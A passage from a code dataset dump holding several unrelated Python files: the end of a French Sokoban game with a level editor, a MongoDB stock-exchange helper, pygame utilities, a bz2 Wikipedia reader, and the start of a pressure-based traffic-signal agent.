enlevant les caractères superflus) et on les remet sous forme de tuple\n joueur = ligne[1].replace(\"(\",\"\").replace(\")\",\"\").replace(\"\\n\",\"\").replace(\" \",\"\").split(\",\")\n joueur = (int(joueur[0]),int(joueur[1]))\n \n # On lit la liste des coordonnées des boites, et comme pour 'joueur', on les remet sous forme de tuples\n lst_b = [tuple(elt.replace(\"(\",\"\").replace(\")\",\"\").replace(\" \",\"\").split(\",\")) for elt in ligne[2].split(\";\") if elt != \"\\n\"]\n lst_b = list(map(lambda x: (int(x[0]), int(x[1])) , lst_b))\n \n # On effectue la même opération que sur la listes des coordonnées des boites\n lst_k = [tuple(elt.replace(\"(\",\"\").replace(\")\",\"\").replace(\" \",\"\").split(\",\")) for elt in ligne[3].split(\";\") if elt != \"\\n\"]\n lst_k = list(map(lambda x: (int(x[0]), int(x[1])) , lst_k))\n \n # On recupère le nombre de clé en le transtypant en entier et en enlevant les caractères superflus\n nb_k = int(ligne[4].replace(\"\\n\",\"\"))\n \n # On lit la matrice a la fin du fichier pour mettre a jour l'actuelle matrice affichée\n for ligne_matrice in ligne[5:]:\n \n lst = list()\n \n for elt in ligne_matrice:\n \n if elt != \"\\n\":\n \n lst.append(elt)\n \n matrice.append(lst)\n \n # On renvoie les données mises a jour\n return joueur, debug, lst_k, lst_b, matrice,Titre\n\n\ndef editeur():\n \"\"\"Editeur de niveau\"\"\"\n\n cree_fenetre(800, 500)\n selecteur = \".\"\n \n # On recupère les valeurs nécéssaires : hauteur/largeur et nom de fichier\n hauteur_map = entree_utilisateur(\"Entrez la Hauteur de la Map\", int)\n largeur_map = entree_utilisateur(\"Entrez la Largeur de la Map\", int)\n Nom_map = entree_utilisateur(\"Entrez le nom de fichier de la map a creer ou a modifier\", str, lettres=True)\n\n # On cree une fenêtre adapté a la taille de la map en cours de creation\n # On impose une largeur minimale 450\n \n if largeur_map * 50 < 450:\n largeur_fenetre = 450\n else:\n largeur_fenetre = largeur_map*50\n # On ouvre la fenêtre au proportion calculées\n ferme_fenetre()\n \n # On affiche les instruction\n cree_fenetre(450,450)\n image(0,0,\"sprites/instructions_editeur.png\", ancrage=\"nw\")\n attente_touche()\n ferme_fenetre()\n \n cree_fenetre(largeur_fenetre, hauteur_map*50+100)\n \n # On crée la matrice de la nouvelle carte\n carte = [[\".\" for i in range(largeur_map)] for j in range(hauteur_map)]\n \n Continuer = True\n while Continuer:\n # On récupère les évènements et on met a jour la matrice\n affiche_editeur(carte,largeur_fenetre)\n selecteur, Continuer = gestion_ev_editeur(carte, largeur_fenetre, selecteur)\n \n ferme_fenetre()\n cree_fenetre(800, 500)\n nomfichier = entree_utilisateur(\"Entrez le nom de fichier\", str, lettres=True)\n \n enregistrer_editeur(carte,Nom_map,nomfichier)\n \n # On ferme la fenetre pour ensuite retourner au menu\n ferme_fenetre()\n\n\ndef entree_utilisateur(Texte, typeval, lettres=False):\n \"\"\"On affiche un message passé en paramètres dans la fenêtre , et on lui applique la fonctiona a la fin\"\"\"\n val = \"\"\n \n while True:\n efface_tout()\n texte(50,5,Texte,taille=15)\n texte(50,200,val)\n mise_a_jour()\n ev = donne_evenement()\n \n if type_evenement(ev) == \"Touche\":\n \n if touche(ev) == \"Escape\":\n exit()\n \n elif touche(ev) in \"1234567890\":\n val += touche(ev)\n \n # On autorise les lettres seulement si lettres a été passé en paramètres comme True\n elif lettres is True and touche(ev) in \"azertyuiopqsdfghjklmwxcvnbAZERTYUIOPQSDFGHJKLMWXCVBN\":\n val += touche(ev)\n \n elif touche(ev) == \"Return\":\n return typeval(val)\n \n elif touche(ev) == \"BackSpace\":\n val = val[:-1]\n \n if type_evenement(ev) == \"Quitte\":\n exit()\n\n\ndef affiche_editeur(carte, largeur_fenetre):\n \"\"\"Similaire a afficher jeu , mais pour la map editée\"\"\"\n # On réinitialise l'affichage pour éviter que les éléments se chevauchent\n efface_tout()\n decalage = 0\n \n # On calcule le decalage si la fenêtre a la largeur minimale (450)\n if largeur_fenetre == 450:\n decalage = (largeur_fenetre-len(carte[0])*50) /2\n \n # Affichage Selecteurs\n rectangle(0,0,largeur_fenetre,99,couleur=\"grey\",remplissage=\"grey\")\n \n \n ###Case Vide\n image(largeur_fenetre/2 - 25, 30, 'sprites/ground.png', ancrage='nw')\n ###Boite\n image(largeur_fenetre / 2 - 75, 30, 'sprites/crate.png', ancrage='nw')\n ###Clé\n image(largeur_fenetre / 2 - 130, 40, 'sprites/key.png', ancrage='nw')\n ###Porte\n image(largeur_fenetre / 2 - 185, 30, 'sprites/door.png', ancrage='nw')\n ###Mur\n image(largeur_fenetre/2+25,30,'sprites/wall.png', ancrage='nw')\n ###Cible\n image(largeur_fenetre/2+85,40,'sprites/target.png', ancrage='nw')\n ###Spawn\n image(largeur_fenetre/2+130,30,'sprites/character.png', ancrage='nw')\n \n for y,lst in enumerate(carte):\n for x,elt in enumerate(lst):\n \n # Affichage Clé\n if elt == \"K\":\n image(x*50 + decalage, (y * 50) + 100, 'sprites/ground.png', ancrage='nw')\n image(x * 50 + decalage, (y * 50) + 110, 'sprites/key.png', ancrage='nw')\n \n # Affichage Boite\n if elt ==\"B\":\n image(x*50+decalage, (y * 50) + 100, 'sprites/ground.png', ancrage='nw')\n image(x*50+decalage, (y*50)+100, 'sprites/crate.png', ancrage='nw')\n \n # Affichage Case vide\n if elt == \".\":\n image(x*50+decalage, (y * 50) + 100, 'sprites/ground.png', ancrage='nw')\n \n # Affichage Mur\n elif elt == \"W\":\n image(x*50+decalage, (y * 50) + 100, 'sprites/wall.png', ancrage='nw')\n \n # Affichage Porte\n elif elt == \"D\":\n image(x*50+decalage, (y * 50) + 100, 'sprites/ground.png', ancrage='nw')\n image(x * 50 + decalage, (y * 50) + 100, 'sprites/door.png', ancrage='nw')\n \n # Affichage Cible\n elif elt == \"T\":\n image(x*50+decalage, (y * 50) + 100, 'sprites/ground.png', ancrage='nw')\n image((x * 50) + 10 + decalage, (y * 50) + 110, 'sprites/target.png', ancrage='nw')\n \n elif elt == \"S\":\n image(x*50+decalage, (y * 50) + 100, 'sprites/ground.png', ancrage='nw')\n image((x * 50) + 10 + decalage, (y * 50) + 100, 'sprites/character.png', ancrage='nw')\n\n mise_a_jour()\n\n\ndef gestion_ev_editeur(carte, largeur_fenetre, selecteur):\n decalage = 0\n Continuer = True\n\n if largeur_fenetre == 450:\n decalage = (largeur_fenetre - len(carte[0]) * 50) // 2\n\n ev = donne_evenement()\n\n if type_evenement(ev) == \"ClicGauche\":\n\n coordonees = (int(clic_x(ev)), int(clic_y(ev)))\n # Permet de recuperer la valeur x et y\n x, y = int((coordonees[0] - decalage) / 50), int((coordonees[1] - 100) / 50)\n if y in range(len(carte)) and x in range(len(carte[0])) and coordonees[0] in range(decalage, len(\n carte[0]) * 50 + decalage) and coordonees[1] in range(100, len(carte) * 50 + 100):\n carte[y][x] = selecteur\n\n ###Vérification clic sur selecteurs\n\n elif coordonees[0] in range(largeur_fenetre // 2 - 25, largeur_fenetre // 2 + 25) and coordonees[1] in range(30,\n 80):\n selecteur = \".\"\n\n elif coordonees[0] in range(largeur_fenetre // 2 - 75, largeur_fenetre // 2 - 25) and coordonees[1] in range(30,\n 80):\n selecteur = \"B\"\n\n elif coordonees[0] in range(largeur_fenetre // 2 - 125, largeur_fenetre // 2 - 75) and coordonees[1] in range(\n 30, 80):\n selecteur = \"K\"\n\n elif coordonees[0] in range(largeur_fenetre // 2 - 175, largeur_fenetre // 2 - 125) and coordonees[1] in range(\n 30, 80):\n selecteur = \"D\"\n\n elif coordonees[0] in range(largeur_fenetre // 2 + 25, largeur_fenetre // 2 + 75) and coordonees[1] in range(30,\n 80):\n selecteur = \"W\"\n\n elif coordonees[0] in range(largeur_fenetre // 2 + 75, largeur_fenetre // 2 + 125) and coordonees[1] in range(\n 30, 80):\n selecteur = \"T\"\n\n elif coordonees[0] in range(largeur_fenetre // 2 + 125, largeur_fenetre // 2 + 175) and coordonees[1] in range(\n 30, 80):\n selecteur = \"S\"\n \n \n if type_evenement(ev) == \"Touche\":\n \n # Si on appuie sur entrée , on vérifie que la map est valide avant d'autoriser son enregistrement\n if touche(ev) == \"Return\":\n if valide(carte):\n return selecteur, False\n \"\"\"\n elif touche(ev) == \"Escape\":\n ferme_fenetre()\n menu()\n \"\"\"\n \n if type_evenement(ev) == \"Quitte\":\n exit()\n\n return selecteur, Continuer\n\n\ndef valide(carte):\n \n dico_elt = dict()\n \n # On met chaque élément dans un dico par le nombre de fois ou ils apparaissent\n for ligne in carte:\n for elt in ligne:\n \n if elt not in dico_elt.keys():\n dico_elt[elt]=1\n else:\n dico_elt[elt]+=1\n \n dico_keys = dico_elt.keys()\n # On vérifie quelques erreurs et on les affiche dans la console\n \n if \"T\" not in dico_keys or \"B\" not in dico_keys or \"S\" not in dico_keys:\n print(\"Map non valide , il manque une élément obligatoire(Target , Spawn du joueur ou Box)\")\n return False\n \n if dico_elt[\"B\"] != dico_elt[\"T\"]:\n print (\"Pas le même nombre de Box et de Target\")\n return False\n \n if dico_elt[\"S\"] > 1:\n print(\"Il y a trop de Spawn\")\n return False\n \n return True\n\n\ndef enregistrer_editeur(carte, Nom_map, nomfichier):\n \n # On écrit le titre de la map puis la matrice qui la compose\n with open(\"map/\"+nomfichier,\"w\") as f:\n f.write(\"Titre : \\\"\"+Nom_map+\"\\\"\\n\")\n \n for ligne in carte:\n for elt in ligne:\n f.write(elt)\n f.write(\"\\n\")\n\n\ndef affiche_menu(taille_fenetre):\n \"\"\"Fonction affichant dans une fenetre préalablement créée tous les éléments immobiles du menu principal\"\"\"\n\n # On affiche le rectangle servant de couleur d'arriere-plan\n rectangle(0, 0, taille_fenetre - 1, taille_fenetre - 1, remplissage='dark blue')\n\n # On crée les variables correspondant au marge et a la taille des rectangles contenant le texte,\n # afin de les modifier facilement si nécessaire\n big_margin = 60\n small_margin = 40\n hauteur_rectangle = 100\n\n # On crée les rectangles\n for y in range(big_margin - 1, taille_fenetre - big_margin, small_margin + hauteur_rectangle):\n\n rectangle(big_margin, y, taille_fenetre - big_margin, y + hauteur_rectangle, remplissage='light yellow')\n\n # On écrit le texte a l'intérieur de chacun d'entre eux\n texte(taille_fenetre//2, 110, 'Jouer', couleur='blue', ancrage='center', taille=24)\n texte(taille_fenetre//2, 250, 'Editeur de niveau', couleur='blue', ancrage='center', taille=24)\n texte(taille_fenetre//2, 390, 'Quitter', couleur='blue', ancrage='center', taille=24)\n\n\ndef deplacement_selection(lst, selection, direction):\n \"\"\"Prend en parametre la liste des options du menu principal, la précedente option selectionnée et la touche pressée\n par l'utilisateur (soit 'Up', soit 'Down'). Renvoie le nouvel élément de la liste sélectionné\"\"\"\n\n # On garde dans une variable l'indice de la précedente sélection\n i = lst.index(selection)\n\n # La liste des options est faite ainsi : l'element d'indice 0 est affiché en haut, le plus grand indice est en bas\n\n if direction == 'Up':\n # Donc si l'utilisateur a appuyé sur 'Up' (fleche du haut), on renvoie l'élément précedent dans la liste\n return lst[i - 1]\n\n # Si le dernier élément sélectionné est le dernier élément de la liste, on renvoie le premier\n elif selection == lst[-1]:\n return lst[0]\n\n # Sinon, l'utilisateur a forcément appuyé sur 'Down' (c'est la seule autre option)\n else:\n # On renvoie donc l'élément suivant\n return lst[i + 1]\n\n\ndef selection_menu(taille_fenetre):\n \"\"\"Boucle principale du menu principal\"\"\"\n\n # On crée la liste des options disponibles dans le menu principal\n lst_options = ['jeu', 'editeur', 'quitter']\n # Le menu s'ouvre avec l'option tout en haut de l'ecran comme premiere selection\n selection = lst_options[0]\n\n while True:\n # On attend un évenement de la part de l'utilisateur\n ev = donne_evenement()\n type_ev = type_evenement(ev)\n\n # Si il a appuyé sur une touche\n if type_ev == 'Touche':\n\n # Si la touche est la fleche 'Bas' ou 'Haut' :\n if touche(ev) in ['Down', 'Up']:\n # On efface tout ce qui a été affiché\n efface_tout()\n # On réaffiche le menu\n affiche_menu(taille_fenetre)\n # La sélection change en fonction de la direction pressée\n selection = deplacement_selection(lst_options, selection, touche(ev))\n\n # Si la touche est 'Entrée' :\n elif touche(ev) == 'Return':\n # L'utilisateur a sélectionné son option, donc on la renvoie\n return selection\n\n # Si l'utilisateur a cliqué sur l'icone 'croix' pour fermer la fenetre, on quitte le programme\n if type_evenement(ev) == \"Quitte\":\n exit()\n\n # On affiche la sélection (un rectangle aux bords jaunes autour de l'option sélectionnée) et on met a jour\n # l'affichage\n affiche_selection(lst_options, selection)\n mise_a_jour()\n\n\ndef menu():\n \"\"\"Fonction principale gérant le menu, renvoyant la sélection choisie par l'utilisateur dans le menu principal\"\"\"\n\n # On définit la taille de la fenetre du menu, puis on la crée\n taille_fenetre = 500\n cree_fenetre(taille_fenetre, taille_fenetre)\n\n # On affiche le menu une premiere fois sur la nouvelle fenetre\n affiche_menu(taille_fenetre)\n # On rentre dans la boucle principale du menu, des que l'utilisateur a appuyé sur 'Entrée', la sélection est faite\n # et renvoyée a cette fonction\n selection = selection_menu(taille_fenetre)\n\n # Une fois la sélection faite, on ferme la fenetre du menu pour laisser place a celle de la sélection\n ferme_fenetre()\n\n return selection\n\n\ndef affiche_selection(lst, selection):\n \"\"\"Affiche le rectangle aux bords jaunes autour de la sélection dans le menu principal\"\"\"\n\n # Pour chaque indice d'élément dans la liste des options du menu\n for i in range(len(lst)):\n\n # Si l'élément d'indice i est la sélection :\n if lst[i] == selection:\n # On affiche un rectangle avec des bordures jaunes d'une épaisseur de 10px\n rectangle(50, 50 + 140*i, 450, 170 + 140*i, couleur='yellow', epaisseur=10)\n\n\ndef selection_niv(taille_fenetre, lst_map):\n \"\"\"Boucle principale du menu de sélection de niveau\"\"\"\n\n # Le menu s'ouvre avec l'option tout en haut de l'écran comme premiere sélection\n selection = lst_map[0]\n\n # On crée des pages (des sous-listes de lst_map contenant autant de niveaux\n # qu'une page peut afficher) et on fait afficher la premiere au debut\n pages = creation_page(lst_map)\n lst_map = pages[0]\n\n # On initialise le nombre de pages a 0\n nb_page = 0\n while True:\n\n # On attend un évenement de la part de l'utilisateur\n ev = donne_evenement()\n type_ev = type_evenement(ev)\n\n # Si il a appuyé sur une touche\n if type_ev == 'Touche':\n\n # Si la touche est 'Entrée' :\n if touche(ev) == 'Return':\n # L'utilisateur a sélectionné son option, donc on la renvoie\n return selection\n\n # Si la touche est la fleche 'Gauche' ou 'Droite' :\n if touche(ev) in ['Left', 'Right']:\n # La page va changer, l'indice de la nouvelle page est renvoyé par la fonction selection_page\n nb_page = selection_page(nb_page, len(pages), touche(ev))\n # La liste des cartes a afficher change pour devenir la liste des cartes de la nouvelle page\n lst_map = pages[nb_page]\n # La nouvelle page s'ouvre avec l'option tout en haut sélectionnée\n selection = lst_map[0]\n\n # On efface la précedente page et on réaffiche le menu de sélection avec la bonne page\n efface_tout()\n affiche_menu_niv(taille_fenetre, lst_map)\n\n # Si la touche est la fleche 'Gauche' ou 'Droite' :\n if touche(ev) in ['Down', 'Up']:\n\n # La sélection va changer donc :\n # On efface tous les éléments affichés précedemment et on réaffiche le menu\n efface_tout()\n affiche_menu_niv(taille_fenetre, lst_map)\n # La nouvelle sélection est renvoyée par la fonction deplacement_selection\n selection = deplacement_selection(lst_map, selection, touche(ev))\n\n # Si l'utilisateur a cliqué sur l'icone 'croix' pour fermer la fenetre, on quitte le programme\n if type_ev == \"Quitte\":\n exit()\n\n # On affiche la sélection (un rectangle aux bords jaunes autour de l'option sélectionnée) et on met a jour\n # l'affichage\n affiche_selection_niv(lst_map, selection)\n mise_a_jour()\n\n\ndef liste_map():\n \"\"\"Renvoie la liste triée de tous les niveaux et sauvegardes jouables\"\"\"\n\n # On crée une liste vide\n lst_map = []\n\n # Pour chaque élément dans la liste des fichiers dans le dossier 'map'\n for fic in os.listdir('map'):\n # Si l'élément est un fichier, on l'ajoute a la liste\n if os.path.isfile(os.path.join('map', fic)):\n lst_map.append(fic)\n\n # On renvoie la liste triée par la fonction sorted\n return sorted(lst_map)\n\n\ndef affiche_instructions():\n \"\"\"Fonction affichant les instructions du menu de sélection de niveau\"\"\"\n\n # On crée une fenetre\n cree_fenetre(450, 450)\n\n # On affiche l'image contenant les instructions\n image(0, 0, 'sprites/instructions_selec_niv.png', ancrage='nw')\n\n # On attend que l'utilisateur appuie sur n'importe quelle touche pour continuer\n attente_touche()\n ferme_fenetre()\n\n\ndef affiche_menu_niv(taille_fenetre, lst_map):\n \"\"\"Fonction affichant dans une fenetre préalablement créée tous les éléments immobiles du menu de sélection de\n niveau\"\"\"\n\n # On affiche le rectangle servant de couleur d'arriere-plan\n rectangle(0, 0, taille_fenetre - 1, taille_fenetre - 1, remplissage='dark blue')\n\n # On crée les variables correspondant au marge et a la taille des rectangles contenant le texte,\n # afin de les modifier facilement si nécessaire\n big_margin = 40\n small_margin = 40\n hauteur_rectangle = 50\n\n # On crée les rectangles\n for y in range(big_margin - 1, taille_fenetre - big_margin, small_margin + hauteur_rectangle):\n rectangle(big_margin, y, taille_fenetre - big_margin, y + hauteur_rectangle, remplissage='light yellow')\n\n decalage_texte = big_margin + (hauteur_rectangle//2)\n # On crée un compteur afin de s'arreter quand toutes les cartes sont affichées\n i = 0\n for y in range(decalage_texte, decalage_texte + 5*(small_margin+hauteur_rectangle), small_margin+hauteur_rectangle):\n texte(taille_fenetre // 2, y, lst_map[i], couleur='blue', ancrage='center', taille=24)\n i += 1\n\n # Si le compteur a dépassé l'indice maximum (len(lst) - 1), on sort de la boucle\n if i == len(lst_map):\n break\n\n\ndef affiche_selection_niv(lst, selection):\n \"\"\"Affiche le rectangle aux bords jaunes autour de la sélection dans le menu de sélection de niveau\"\"\"\n\n # Pour chaque indice d'élément dans la liste des options du menu\n for i in range(len(lst)):\n\n # Si l'élément d'indice i est la sélection :\n if lst[i] == selection:\n # On affiche un rectangle avec des bordures jaunes d'une épaisseur de 10px\n rectangle(30, 30 + 90*i, 470, 100 + 90*i, couleur='yellow', epaisseur=10)\n\n\ndef menu_niv():\n \"\"\"Fonction principale gérant le menu, renvoyant la sélection choisie par l'utilisateur dans le menu de sélection\n de niveau\"\"\"\n\n # On fait appel a la fonction ouvrant une fenetre contenant les instructions pour ce menu\n affiche_instructions()\n\n # On définit la taille de la fenetre du menu, puis on la crée\n taille_fenetre = 500\n cree_fenetre(taille_fenetre, taille_fenetre)\n\n # On crée la liste de tous les niveaux et sauvegardes jouables dans le dossier 'map'\n lst_map = liste_map()\n\n # On affiche le menu de sélection de niveau une premiere fois sur la nouvelle fenetre\n affiche_menu_niv(taille_fenetre, lst_map)\n # On rentre dans la boucle principale du menu, ou l'utilisateur peut faire sa sélection\n selection = selection_niv(taille_fenetre, lst_map)\n\n # Une fois la sélection faite, on ferme la fenetre du menu pour laisser place a celle de la sélection\n ferme_fenetre()\n # Puis on renvoie la sélection\n return selection\n\n\ndef creation_page(lst_map):\n \"\"\"Fonction créant les pages, chacune contenant au maximum 5 cartes.\n Prend en parametre la liste de tous les niveaux et sauvegardes jouables dans le dossier 'map'.\n Renvoie une liste de listes, chaque sous-liste correspondant a une page, chaque page est donc une liste contenant au\n maximum 5 cartes\"\"\"\n\n nb_map = len(lst_map)\n\n pages = []\n\n i = 0\n page = []\n while i < nb_map:\n\n # On ajoute la carte d'indice i dans la page en train d'etre créée\n page.append(lst_map[i])\n i += 1\n\n # Si la page contient 5 cartes, la liste finale ajoute la liste page, puis on réinitialise la page a une liste vide\n if len(page) == 5:\n pages.append(page)\n page = []\n\n # Les deux lignes suivantes servent a ajouter la derniere page si celle-ci n'est pas pleine (donc que le nombre\n # total de cartes n'est pas un multiple de 5\n\n # Si la page n'est pas vide et qu'elle n'est pas deja dans la liste finale (donc qu'elle ne contient pas 5 cartes):\n if page != [] and page not in pages:\n # On ajoute cette page a la liste finale\n pages.append(page)\n\n # On renvoie la liste des pages\n return pages\n\n\ndef selection_page(i, nb_pages, direction):\n \"\"\"Fonction prenant en parametre l'indice de la precedente page, le nombre total de pages, et la touche pressée\n par le joueur. Elle renvoie l'indice de la nouvelle page a afficher.\"\"\"\n\n # La liste des options est faite ainsi : la page d'indice 0 sera affichée le plus \"vers la gauche\" possible,\n # la page avec le plus grand indice sera affichée le plus \"vers la droite\" possible.\n\n if direction == 'Left':\n # La direction est la gauche, a moins que la page soit la premiere (auquel cas on renvoie le meme indice\n # puisqu'on ne veut pas changer de page)\n if i == 0:\n return i\n\n # On renvoie l'indice précedent\n return i - 1\n\n else:\n # La direction est la droite, a moins que la page soit la derniere (auquel cas on renvoie le meme indice\n # puisqu'on ne veut pas changer de page)\n\n if i == nb_pages - 1:\n return i\n\n # On renvoie l'indice suivant\n return i + 1\n\n\nif __name__ == '__main__':\n\n while True:\n # On ouvre le menu principal\n selection = menu()\n\n # Si la sélection est de quitter le menu principal\n if selection == 'quitter':\n # On quitte le programme\n exit()\n\n # Si la sélection est l'editeur graphique\n if selection == 'editeur':\n # On lance l'editeur\n editeur()\n\n # Si la sélection est de jouer\n if selection == 'jeu':\n # On ouvre le menu de sélection de niveau\n Map = 'map/' + menu_niv()\n\n # On crée les données nécessaires :\n\n # Si la carte contient la chaine '.save', alors on sait que c'est une sauvegarde et on la charge\n if \".save\" in Map:\n joueur, debug, lst_k, lst_b, matrice, titre = load_save(Map)\n\n # Sinon c'est une carte, on crée les données\n else:\n matrice, joueur, titre, lst_k, lst_b = creation_map(Map)\n debug = False\n Win = False\n nb_k = 0\n\n # On crée la fenêtre, ayec une taille relative a la taille de la matrice\n taille_fenetre = (len(matrice[0]) * 50, len(matrice) * 50 + 100)\n cree_fenetre(taille_fenetre[0], taille_fenetre[1])\n\n # Boucle principale, tourne tant le booléen win est False, c'est-a-dire tant que le joueur n'a pas gagné\n while True:\n\n # On actualise l'affichage\n afficher_jeu(joueur, nb_k, titre)\n\n # On vérifie si le joueur n'a pas gagné\n Win = win(matrice, lst_b)\n\n # Si le joueur a gagné , on affiche un Bravo , et on on attend qu'il n'appuie sur n'importe quelle\n # touche pour sortir de la boucle principale et retourner au menu\n if Win is True:\n efface_tout()\n ferme_fenetre()\n cree_fenetre(600,150)\n texte(50,50, \"Bravo ! Vous avez gagné\")\n attente_clic()\n ferme_fenetre()\n break\n\n # Si le debug est activé, on appelle la fonction debug, la fonction evenement sinon\n if debug is False:\n joueur, debug, lst_k, lst_b, matrice = evenement(joueur, debug, lst_k, lst_b, matrice, Map,titre)\n else:\n joueur, debug = fonction_debug(joueur, debug)\n\n # On vérifie si le joueur n'est pas sur une clé\n stock_cle(joueur, \"add\")\n\n","sub_path":"Sokoban.py","file_name":"Sokoban.py","file_ext":"py","file_size_in_byte":40434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"599649475","text":"import pymongo\n\n\nclass StockExchangeDataInfos:\n\n def __init__(self, database, *data):\n self.database = database['stocks']['stock_exchange']\n self.data = data\n\n def __str__(self):\n description = \"This class allows to save the stock exchange informations for each country is part of.\\n1.\" \\\n \" SetStockExchangeInDB save the value in the DB params(ClientDB, data to save). the data input params\" \\\n \" is {'exchg'(_id), 'exchg country'} \\n2.\" \\\n \" GetStockExchangeFromDB retrieve values from the DB params(ClientDB, query to search, data\" \\\n \"to display.\"\n return description\n\n async def SetStockExchangeInDB(self):\n \"{'exchg'(_id), 'exchg country'}\"\n try:\n self.database.insert_one(self.data[0])\n except pymongo.errors.DuplicateKeyError:\n print('StocksExchangeDataInfos.SetStockExchangeInDB.DuplicateKeyError', self.data[0]['_id'])\n\n def GetStockExchangeFromDB(self):\n\n query = self.data[0]\n display = self.data[1]\n tab = []\n\n for value in self.database.find(query, display):\n tab.append(value)\n return tab","sub_path":"aBlackFireCapitalClass/ClassStockExchangeData/ClassStockExchangeDataInfos.py","file_name":"ClassStockExchangeDataInfos.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"102850823","text":"import pygame\n\ndef write(surface, text, fontsize, colour, position):\n\tmyfont = pygame.font.SysFont(\"None\", fontsize)\n\tmytext = myfont.render(text, True, colour)\n\tmytext = mytext.convert_alpha()\n\tsurface.blit(mytext, position)\n\ndef color(colorname):\n\tcolors = {\n\t\t\"white\": (255, 255, 255),\n\t\t\"black\": (0, 0, 0),\n\t\t\"red\": (255, 0, 0),\n\t\t\"yellow\": (175, 175, 50),\n\t\t\"green\": (0, 255, 0)\n\t}\n\treturn colors[colorname]","sub_path":"Helpers.py","file_name":"Helpers.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"420421974","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport bz2\n\ndef main():\n # inputfile = open(\"./test.xml\", \"r\")\n # outfile = open(\"./ttest.xml\", \"w\")\n\n # position = int(2006442797*1440000/1870253)\n\n count = 0\n # inputxml = bz2.BZ2File(\"jawiki-latest-pages-articles.xml.bz2\", 'r')\n # outfile = bz2.BZ2File(\"jawiki-latest-pages-articles_2.xml.bz2\", 'w')\n inputxml = bz2.BZ2File(\"jawiki-latest-pages-articles.xml.bz2\", 'r')\n outfile = open(\"./test_2.xml\", 'w')\n\n inputxml.seek(-10000, 2)\n\n for line in inputxml:\n count += 1\n if count > 50:\n break\n # if count > 100579840:\n outfile.writelines(line)\n inputxml.close()\n outfile.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"_src/cleaning.py","file_name":"cleaning.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"350420885","text":"import pandas as pd\nimport numpy as np\n\nfrom pathlib import Path\nimport pickle\nimport gym\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# how to import or load local files\nimport os\nimport sys\npath = os.path.split(os.path.realpath(__file__))[0]\nsys.path.append(path)\nimport gym_cfg\nwith open(path + \"/gym_cfg.py\", \"r\") as f:\n pass\n\nclass TestAgent():\n def __init__(self):\n self.now_phase = {}\n self.green_sec = 2\n self.red_sec = 0\n self.max_phase = 8\n self.last_change_step = {}\n self.agent_list = []\n self.phase_passablelane = {}\n self.phase_mv_inc = [(1, 2), (1, 4), (2, 3), (2, 5),\n (3, 0), (3, 6), (4, 1), (4, 7),\n (5, 2), (5, 3), (6, 0), (6, 1),\n (7, 4), (7, 5), (8, 6), (8, 7)]\n self.road_idx_to_arm = {0:\"Ni\", 1:\"Ei\", 2:\"Si\", 3:\"Wi\",\n 4:\"No\", 5:\"Eo\", 6:\"So\", 7:\"Wo\"}\n self.lane_idx_to_mv = {0:\"L\", 1:\"T\", 2:\"R\"}\n self.mv_to_phase = {\n \"NiL\":1, \"SiL\":1, \"NiT\":2, \"SiT\":2,\n \"EiL\":3, \"WiL\":3, \"EiT\":4, \"WiT\":4\n }\n self.prev_action = None\n \n ################################\n # don't modify this function.\n # agent_list is a list of agent_id\n def load_agent_list(self,agent_list):\n self.agent_list = agent_list\n self.now_phase = dict.fromkeys(self.agent_list,1)\n self.last_change_step = dict.fromkeys(self.agent_list,0)\n ################################\n\n \n def obs_process(self, observations):\n # preprocess observations\n observations_for_agent = {}\n for key,val in observations.items():\n observations_agent_id = int(key.split('_')[0])\n observations_feature = key[key.find('_')+1:]\n if(observations_agent_id not in observations_for_agent.keys()):\n observations_for_agent[observations_agent_id] = {}\n observations_for_agent[observations_agent_id][observations_feature] = val\n \n # format into pd.dataframe\n obs = []\n for agent_id, agent_obs in observations_for_agent.items():\n sim_step = agent_obs['lane_speed'][0]\n lane_speed = agent_obs['lane_speed'][1:]\n lane_vehicle_num = agent_obs['lane_vehicle_num'][1:]\n assert len(lane_speed) == len(lane_vehicle_num)\n for idx, speed in enumerate(lane_speed):\n road_idx = idx // 3\n lane_idx = idx % 3\n veh_num = lane_vehicle_num[idx]\n obs.append([sim_step, agent_id, road_idx, lane_idx, speed, veh_num])\n\n obs_df = pd.DataFrame(obs, columns=['sim_step', 'agent_id', 'road_idx', 'lane_idx', 'speed', 'veh_num'])\n \n return obs_df\n \n \n def gen_pressure(self, obs_df):\n \n # formatting obs_df\n obs_df = obs_df[(obs_df.road_idx < 4) & (obs_df.lane_idx < 2)]\n obs_df['road_idx'] = obs_df['road_idx'].replace(self.road_idx_to_arm)\n obs_df['lane_idx'] = obs_df['lane_idx'].replace(self.lane_idx_to_mv)\n obs_df['mv'] = obs_df['road_idx'] + obs_df['lane_idx']\n obs_df['phase'] = obs_df['mv'].replace(self.mv_to_phase)\n \n # define pressure: the number of vehicles on the approach\n pressure = obs_df.pivot_table(index='agent_id',\n columns='mv',\n values='veh_num',\n aggfunc='sum')\n \n return pressure\n \n \n def act(self, obs):\n \"\"\" !!! MUST BE OVERRIDED !!!\n \"\"\"\n # here obs contains all of the observations and infos\n\n # observations is returned 'observation' of env.step()\n # info is returned 'info' of env.step()\n observations = obs['observations']\n info = obs['info']\n actions = {}\n\n # a simple fixtime agent\n\n # preprocess observations\n obs_df = self.obs_process(observations)\n cur_step = obs_df['sim_step'].unique()[0]\n if (self.prev_action is not None) and (cur_step % self.green_sec > 1):\n return self.prev_action\n \n # get pressure\n pressure = self.gen_pressure(obs_df)\n\n # get actions\n phase_mv_incidence = np.zeros((4, 8))\n for x, y in self.phase_mv_inc[:8]:\n phase_mv_incidence[x - 1, y] = 1\n \n action = {}\n for i in range(len(pressure)):\n agent_id = pressure.index[i]\n phase_pressures = np.dot(phase_mv_incidence, pressure.iloc[i, :].values)\n max_locs = np.where(phase_pressures == np.max(phase_pressures))[0]\n if np.std(phase_pressures) == 0:\n action[agent_id] = np.random.randint(1, 5, 1)[0]\n elif len(max_locs) > 1:\n loc = np.random.randint(0, len(max_locs), 1)\n action[agent_id] = max_locs[loc][0] + 